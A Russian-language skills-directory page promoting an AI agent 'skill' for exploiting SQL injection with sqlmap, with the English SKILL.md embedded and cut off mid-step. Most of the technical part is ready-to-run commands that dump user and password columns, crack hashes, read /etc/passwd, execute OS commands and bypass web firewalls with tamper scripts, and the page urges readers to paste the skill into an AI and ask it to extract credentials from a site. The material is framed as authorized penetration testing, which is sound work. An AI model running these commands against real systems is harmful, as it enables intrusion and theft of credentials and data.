Перейти к содержанию
Skillpedia
Агенты35k · #7924

exploiting-sql-injection-with-sqlmap

Что он делает

Этот инструмент помогает находить и использовать уязвимости безопасности под названием «SQL Injection» на веб-сайтах. В рамках тестирования безопасности он позволяет с разрешения извлекать важную информацию из базы данных.

Когда использовать

  • ✓При тестировании безопасности сайта с разрешения владельца.
  • ✓Когда есть подозрение на уязвимости в формах или ссылках.
  • ✓Чтобы показать последствия уязвимости на примере кражи данных.

Ссылка на скилл

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-sql-injection-with-sqlmap/SKILL.md

Скопируйте и вставьте её в ваш ИИ (Claude, ChatGPT или Cursor) с просьбой следовать инструкциям.

Как использовать

Самый простой способ: скопируйте сообщение и вставьте его в свой ИИ. Он прочитает скилл и выполнит инструкции.

Готовое сообщение для вставки

Используй этот скилл, чтобы помочь мне: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-sql-injection-with-sqlmap/SKILL.md Прочитай файл SKILL.md по этой ссылке и следуй его инструкциям в моей задаче.
Хотите, чтобы ваш ИИ сам находил такие скиллы?Установите бесплатный MCP Skillpedia: одна строка, и перед каждой задачей он ищет среди 15 000+ скиллов.Установить за 1 минуту →

Пример запроса к вашему ИИ

“Найди уязвимости SQL Injection на example.com и извлеки имена пользователей и пароли из таблицы 'users'.”

5 новых скиллов в неделю. 1 минута чтения.

Как это работает

Инструмент отправляет специальные команды базе данных сайта. Если уязвимость есть, он может читать или изменять информацию, как будто работает с базой данных напрямую.

Технический текст (оригинальный SKILL.md)

Оригинальный текст автора на английском, прямо с GitHub.

Exploiting SQL Injection with sqlmap

When to Use

  • During authorized web application penetration testing engagements
  • When manual testing reveals potential SQL injection points in parameters, headers, or cookies
  • For validating SQL injection findings from automated scanners like Burp Suite or OWASP ZAP
  • When you need to demonstrate the impact of SQL injection by extracting data from backend databases
  • During CTF challenges involving SQL injection exploitation

Prerequisites

  • Authorization: Written penetration testing agreement (Rules of Engagement) for the target
  • sqlmap: Install via pip install sqlmap or apt install sqlmap on Kali Linux
  • Python 3.6+: Required runtime for sqlmap
  • Burp Suite (optional): For capturing and replaying HTTP requests
  • Target access: Network connectivity to the target web application
  • Browser with proxy: Firefox with FoxyProxy for intercepting requests

Workflow

Step 1: Identify Potential Injection Points

Manually browse the application and identify parameters that interact with the database. Use Burp Suite to capture requests.

# Start Burp Suite proxy and capture requests
# Look for parameters in URLs, POST bodies, cookies, and headers
# Example target URL with a suspected injectable parameter:
# https://target.example.com/products?id=1

# Test manually for basic SQL injection indicators
curl -k "https://target.example.com/products?id=1'"
# Look for SQL error messages like:
# - "You have an error in your SQL syntax"
# - "ORA-01756: quoted string not properly terminated"
# - "Microsoft SQL Native Client error"

Step 2: Run sqlmap Basic Detection Scan

Launch sqlmap against the suspected injection point to confirm the vulnerability and identify the database type.

# Basic GET parameter test
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent

# For POST requests (save the request from Burp Suite to a file)
sqlmap -r request.txt --batch --random-agent

# Test specific parameter in a POST request
sqlmap -u "https://target.example.com/login" \
  --data="username=admin&password=test" \
  -p "username" --batch --random-agent

# Test with cookie-based injection
sqlmap -u "https://target.example.com/dashboard" \
  --cookie="session=abc123; user_id=5" \
  -p "user_id" --batch --random-agent

Step 3: Enumerate Database Structure

Once injection is confirmed, enumerate databases, tables, and columns.

# List all databases
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent

# List tables in a specific database
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db --tables --batch --random-agent

# List columns in a specific table
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --columns --batch --random-agent

Step 4: Extract Data from Target Tables

Dump the contents of sensitive tables to demonstrate impact.

# Dump specific columns from a table
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password,email" \
  --dump --batch --random-agent

# Dump with row limit to avoid excessive data extraction
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --dump --start=1 --stop=10 \
  --batch --random-agent

# Attempt to crack password hashes automatically
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password" \
  --dump --batch --passwords --random-agent

Step 5: Test for Advanced Exploitation Vectors

Assess the full impact by testing OS-level access and file operations.

# Check current database user and privileges
sqlmap -u "https://target.example.com/products?id=1" \
  --current-user --current-db --is-dba --batch --random-agent

# Attempt to read server files (if DBA privileges exist)
sqlmap -u "https://target.example.com/products?id=1" \
  --file-read="/etc/passwd" --batch --random-agent

# Attempt OS command execution (MySQL with FILE privilege)
sqlmap -u "https://target.example.com/products?id=1" \
  --os-cmd="whoami" --batch --random-agent

Step 6: Use Tamper Scripts to Bypass WAF/Filters

When Web Application Firewalls or input filters block basic payloads, use tamper scripts.

# Common tamper scripts for WAF bypass
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper="space2comment,between,randomcase" \

…
Частые вопросы

Что такое SQL Injection?

Это уязвимость безопасности, которая позволяет злоумышленнику вставить вредоносные команды в базу данных через сайт.

Нужно ли разрешение, чтобы пользоваться этим инструментом?

Да, перед тестированием любой системы обязательно нужно письменное разрешение. Использование без разрешения незаконно.

Что такое «tamper»-скрипты?

Это небольшие программы, которые помогают маскировать отправляемые команды, чтобы их не обнаружили файрволы и другие системы защиты.

Подробности

Оригинальное описание автора

Detecting and exploiting SQL injection vulnerabilities using sqlmap to extract database contents during authorized penetration tests.

repo: mukul975/Anthropic-Cybersecurity-Skills

Популярность

Звёзды на GitHub
35k
Место в рейтинге
#7924
Лицензия
Apache-2.0
Обновлён
31.08.2026

Полезен ли этот скилл?

0

Войдите , чтобы голосовать.

Комментарии

  • …

Другие скиллы из этого репозитория

Похожие скиллы